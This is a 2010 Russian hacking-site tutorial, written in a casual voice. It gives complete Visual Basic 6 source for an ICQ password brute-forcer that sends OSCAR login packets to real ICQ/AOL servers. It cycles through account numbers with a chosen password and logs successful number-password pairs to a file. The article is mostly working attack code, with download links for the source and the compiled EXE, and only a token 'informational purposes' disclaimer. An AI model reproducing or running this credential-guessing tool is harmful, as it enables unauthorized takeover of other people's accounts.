Главная
ФОРУМ
Новости
Статьи
Программы
Сервисы

Мы в
  

Друзья
Навигация
ftp, GET, ICQ, jabber, Joomla, kwm, McAfee, Opera, POST, regger, sem, seo, sql-инъекция, SSH, vkontakte, Windows, xss, авторегистратор, ассемблер, брут, брутфорс, буфер обмена, взлом, вирус, дедик, домен, защита, переполнение буфера, программирование, сервер, СИ, смс, сниффер, социнженерия, убеждение, уязвимости, уязвимость, хеш, чекер, шеллкод

Показать все теги
 

VB. Пишем ICQ-брутфорс

     
ICQ-брутфорс на Visual basic 6.0


Привет ребята и девчета =) Сегодня будем писать простенький однопоточный ICQ-брутфорс(программа для подбора паролей), работающий без прокси. Вы наверно понимаете что скокрость перебора будет достаточно низкой, ну и ладно, т.к. наша цель в первую очередь понять сам механиз работы такой программы. Писать будем на Visual Basic 6.0. Думаю что некоторые навыки программирования на этом языке вам понадобятся, т.к. программа не из простых. Итак, приступим =)

Запускаем Vb, Выбираем тип проекта - Standart EXE:
VB. Пишем ICQ-брутфорс


Ок. Теперь подумаем, через что наша программа будет работать с с сетью. Есть чудный OCX-контрол winsock, можно использовать его. Но иногда с ним возникают проблемы при запуске приложений на других компьютерах, поэтому мы будем использовать немного похожую штуку - контрол "тяга", который позволяет использовать tcp/ip подключение(принимать, оправлять байты, слушать порт, коннектиться и т.д.). Скачать его можно тут.

Дотаем контрол к проекту:
VB. Пишем ICQ-брутфорс VB. Пишем ICQ-брутфорс



Размещаем элементы управления на форме:
VB. Пишем ICQ-брутфорс


Ну и, собственно, сам код:

Option Explicit                               'отключаем автодекларацию переменных
Const BRUTE_INTERVAL = 2000     'таймаут между попытками перебора пароля в мс
Const ICQ_PORT = 5190               'icq порт
Const SRV_COUNT = 6                  'Количество ICQ серверов
Dim Icq_SRV(1 To SRV_COUNT) As String   'Массив ICQ серверов
Dim Current_SRV As Byte              'Хранит номер текущего ICQ сервера из массива ICQ_SRV
Dim good, bad As Long                  'Удалос подобрать/неудалос подобрать пасс

' // это для работы сборщика пакетов //
Dim cli As Boolean                        'Флаг, буыер сборки пуст-false,буфер заполняется-true
Dim Flen, Mlen As Long                  'Длина буфера/сколько уже собрано
Dim MainBuff As String                  'Сам буфер

Private Sub Form_Load()                       'загрузка формы
    Dim buff As String                             'Буфер для чтения файла
    Timer.Enabled = False                       'отключаем таймер
    Timer.Interval = BRUTE_INTERVAL     'задаём интервал таймера
    Command1.Enabled = True               'Включаем кнопочку Стоп
    Command2.Enabled = False              'Выключаем кнопочку Старт
    'Загрузим сохранённые настройкм
    If Dir(App.Path & "\settings.txt") <> "" Then             'Если файл с настройками есть
        Open App.Path & "\settings.txt" For Input As #1    'Открываем его
            Line Input #1, buff                                          'Читаем строку
            Text2 = buff                                                  'Пишем в TextBox её содержимое
            Line Input #1, buff                                          'Читаем строку
            Text3 = buff                                                  'Пишем в TextBox её содержимое
            Line Input #1, buff                                         'Читаем строку
            Text4 = buff                                                  'Пишем в TextBox её содержимое
        Close #1                                                           'Закрываем файл
    End If                                                                   'Конец условия
    ' // заполним массив ICQ серверов //
    Icq_SRV(1) = "login.icq.com"
    Icq_SRV(2) = "login.oscar.aol.com"
    Icq_SRV(3) = "ibucp-vip-d.blue.aol.com"
    Icq_SRV(4) = "ibucp-vip-m.blue.aol.com"
    Icq_SRV(5) = "bucp2-vip-m.blue.aol.com"
    Icq_SRV(6) = "bucp-m08.blue.aol.com"
    Current_SRV = 1                                     'Установим номер текущего сервера - 1
    good = 0                                                'Обнулим счётчик GOOD-UIN'ов
    bad = 0                                                  'Обнулим счётчик BAD-UIN'ов
End Sub
Private Sub Command1_Click()                              'Кнопка Старт
    If Val(Text2) >= Val(Text3) Then Exit Sub           'Если ОТ меньше чем ДО то едем далее
    Command1.Enabled = False                               'вырубаем кнопку старт
    Command2.Enabled = True                                'Врубаем кнопку стоп
    Open App.Path & "\good.txt" For Append As #1     'открываем файл №1 для записи туда good
    Open App.Path & "\bad.txt" For Append As #2       'открываем файл №2 для записи туда bad
    Timer.Enabled = True                                         'Включаем таймер
End Sub
Private Sub Timer_Timer()                                      'Таймерчег
    socket.CloseConnection                                      'закрываем соединение
    socket.Connect Icq_SRV(Current_SRV), ICQ_PORT       'коннектимся к Autorization-server
    Current_SRV = Current_SRV + 1                         'меняем сервер
    If Current_SRV = SRV_COUNT + 1 Then Current_SRV = 1 'проверим, ес сервера закончилис, то по новой
End Sub
Private Sub Command2_Click()                'кнопка Стоп
    Timer.Enabled = False                         'Вырубаем таймер
    Text1 = ""                                          'Чистим Text1
    good = 0                                            'обнуляем гуд
    bad = 0                                             'обнуляем бад
    Close #1                                            'закрываем файл с гуд
    Close #2                                            'закрываем файл с бад
    Command1.Enabled = True                 'врубаем кнопку старт
    Command2.Enabled = False                'вырубаем кнопку стоп
End Sub
Private Sub socket_DataArrival(data As String)          'Если к нам пришли данные
    If cli = False Then                                                'Если буфер пуст
        Flen = GetFlapLen(data)                                   'определим длину флэпа
        Mlen = Flen + 6                                               'добавляем к длине длину 6-байтового заголовка флэпа
        cli = True                                                       'включаем сбор пакетов
        MainBuff = data                                              'записываем первую порцию байт в буфер
    Else                                                                   'если сбор включен
        MainBuff = MainBuff + data                             'добавим пакет к буферу
        Mlen = Mlen + Len(data)                                 'увеличим длину собранного
    End If
'проверим, не пора ли прекратить сбор пакетов
If Mlen = Flen + 6 Then                                 'Если принято столько сколько должно быть(весь флэп-пакет)
    cli = False                                                'выключаем сборщег
    Flen = 0                                                  'обнуляем счётчег длины
    Do                                                          'прочекаем принятое на предмет флэпов (их там многа может быть)
    Flen = GetFlapLen(MainBuff) + 6                'смотрим длину
    FLAPPER (Mid$(MainBuff, 1, Flen))              'отправляем флэп во флаппер(процедура обработки)
    MainBuff = Mid$(MainBuff, Flen + 1, Len(MainBuff) - Flen) 'отсекаем от буфера отправленный косочег
    Loop Until Len(MainBuff) = 0                      'делаем пока буфер не опустошим
    MainBuff = ""                                          ' на всёкий случай xD
End If
End Sub
Private Sub FLAPPER(fData As String)                    'Обработчег FLAP-пакетов
Dim snac, pack, UIN, PASS As String                     'строковые переменные
    If GetByte(fData, 2) = 1 Then                           'если канал первый
        fData = GetFlapData(fData)                         'Получаем содержимое флэпа
        If str2hex(fData) = "00000001" Then             'если пришол hello-пакет
            PASS = Text4                                         'Запоминаем текущий PASS
            UIN = Text2                                           'Запоминаем текущий UIN
            snac = hex2str("00000001")                    'Формируем SNAC логина
            snac = snac + hex2str("000100") + Chr(Len(UIN)) + UIN 'TLV01
            snac = snac + hex2str("000200") + Chr(Len(CalcPass(PASS))) + CalcPass(PASS) 'TLV02
            snac = snac + hex2str("0003008") & "ICQbasic"     'клиент
            snac = snac + hex2str("00160002010A")               '16й TLV
            snac = snac + hex2str("001700020018")               'нижняя граница версии протокола
            snac = snac + hex2str("001800020025")               'верхняя граница версии протокола
            snac = snac + hex2str("001900020001")               '
            snac = snac + hex2str("001A00020E90")               '
            snac = snac + hex2str("0014000400000055")           '
            snac = snac + hex2str("000F0002656E")               'язык (EN)
            snac = snac + hex2str("000E00027573")               'местонахождение(US)
            pack = hex2str("2A01") + Word2Str(Rnd * 32767) + Word2Str(Len(snac)) + snac 'формируем FLAP логина
            socket.SendData (pack)                              'Отсылаем FLAP логина
        End If
    End If
    If GetByte(fData, 2) = 4 Then                           'Если канал чётвёртый
         fData = GetFlapData(fData)                        'Получаем содержимое флэпа
         If GetByte(fData, 2) = &H8E Then               'Ес удачно подобради
            good = good + 1                                    'добавляем good
            Print #1, Text2 & ";" & Text4                  'пишкм в good.txt этот uin;pass
            incUIN                                                 'ставим в текствокс следующий нумер
         End If
         If GetByte(fData, 2) = 1 Then                   'Если серв постал нас с таким uin;pass
            bad = bad + 1                                      'Прибавляем bad
            Print #2, Text2 & ";" & Text4                 'пишем в bad.txt этот uin;pass
            incUIN                                                 'ставим в текстбокс следующий нум
         End If
    End If
    
    'Пишем статистику в Text1
    Text1 = "Server: " & Icq_SRV(Current_SRV) & vbCrLf & _
            "good: " & good & vbCrLf & _
            "bad: " & bad
End Sub
Private Sub incUIN()                                      'увеличивает UIN на 1
    Text2 = Val(Text2) + 1
    If Text2 = Text3 Then                               'если пора остановится
        Command2_Click                                  'Эмулируем нажатие на стоп
        MsgBox "Брут закончен. Удалось подобрать " & good & " номеров." 'Сообщение
    End If
End Sub
Private Sub Command3_Click()                            'Кнопка Exit
    Form_Unload (0)                                             'Эмулируем закрытие
End Sub
Private Sub Form_Unload(Cancel As Integer)         'Закрытие
    Command2_Click                                            'эмулируем нажатие на Стоп
    Open App.Path & "\settings.txt" For Output As #1    'Пишем настройки в файл settings.txt
        Print #1, Text2
        Print #1, Text3
        Print #1, Text4
    Close #1
    End                                                         'Закрываемся
End Sub

'--------------------- вспомогательные функции ---------------
Private Function hex2str(ByVal data As String) As String        'Переводит набор типа "00FF3E" в строку
    Dim i As Integer
    For i = 1 To Len(data) Step 2
        hex2str = hex2str & Chr(Val("&H" + Mid$(data, i, 2)))
    Next i
End Function
Private Function str2hex(ByVal Txt As String) As String         'Переводит байты строки в набор типа "АА3А00"
    Dim i As Integer
    Dim buff As String
    For i = 1 To Len(Txt)
        buff = Hex(GetByte(Txt, i))
        If Len(buff) = 1 Then buff = "0" & buff
        str2hex = str2hex & buff
    Next i
End Function
Private Function GetFlapLen(flapdata As String) As Long         'Возвращает длину FLAP-пакета
    Dim HexBuff As String
    Dim byte1 As String * 2
    Dim byte2 As String * 2
    If GetByte(flapdata, 5) <> 0 Then byte1 = Hex(GetByte(flapdata, 5)) Else byte1 = "00"
    If GetByte(flapdata, 6) <> 0 Then byte2 = Hex(GetByte(flapdata, 6)) Else byte2 = "00"
    HexBuff = "&H" & byte1 & byte2
    GetFlapLen = Val(HexBuff)
End Function
Private Function GetByte(Txt As String, num As Integer) As Byte 'возвращает значение какого-либа байта какой-либо строки
    GetByte = Asc(Mid$(Txt, num, 1))
End Function
Private Function GetFlapData(flapdata As String) As String       'Возврящает содержимое FLAP-пакета (отрезает заголовок)
    GetFlapData = Mid$(flapdata, 7, Len(flapdata) - 6)
End Function
Private Function CalcPass(ByVal PASS As String) As String       'Делает XOR - пароль
    Dim passarr(1 To 16) As Byte
    Dim i As Byte
    passarr(1) = &HF3
    passarr(2) = &H26
    passarr(3) = &H81
    passarr(4) = &HC4
    passarr(5) = &H39
    passarr(6) = &H86
    passarr(7) = &HDB
    passarr(8) = &H92
    passarr(9) = &H71
    passarr(10) = &HA3
    passarr(11) = &HB9
    passarr(12) = &HE6
    passarr(13) = &H53
    passarr(14) = &H7A
    passarr(15) = &H95
    passarr(16) = &H7C
    CalcPass = ""
    For i = 1 To Len(PASS)
        CalcPass = CalcPass & Chr(Asc(Mid$(PASS, i, 1)) Xor passarr(i))
    Next i
End Function
Private Function GetHEX(ByVal Txt As String) As String  'Делает из байтов строки запись вида "00 АА А3 FF"
    Dim i As Integer
    Dim buff As String
    For i = 1 To Len(Txt)
        buff = Hex(GetByte(Txt, i))
        If Len(buff) = 1 Then buff = "0" & buff
        GetHEX = GetHEX & buff & " "
    Next i
End Function
Private Function Word2Str(data As Long) As String       'Переводит 2-байтовую переменную в запись типа "0001"
    Dim i As Integer
    Dim buff As String
    buff = Hex(data)
    If Len(buff) = 1 Then buff = "000" + buff
    If Len(buff) = 2 Then buff = "00" + buff
    If Len(buff) = 3 Then buff = "0" + buff
    Word2Str = Chr(Val("&H" & Mid$(buff, 1, 2))) + Chr(Val("&H" & Mid$(buff, 3, 2)))
End Function

Код можно было бы сделать компактнее, упростив обработчик пакетов, направляя все входящие данные сразу во FLAPPER, я не стал этого делать, т.к. это может повлиять на стабильность работы программы(а вдруг брут заступорится). Если не понимаете что тут за FLAP'ы и SNAC'и, читайте эту статейку. =)
Чтобы понять как осуществляется проверка пакетов, советую посмотреть эти дампы.

Готово =)
Вот эта зверушка в действии:
VB. Пишем ICQ-брутфорс


Размер EXE файла: 48 кб. Ес упаковать UPX, то 16 кб =)

Скачать исходники ~8 кб
Скачать EXE ~14 кб
(c) karas

P.S.Внимание! Данная статья имеет исключительно ознакомительный характер.
Категория: Статьи » Программирование | 23-05-2010, 16:45 На главную..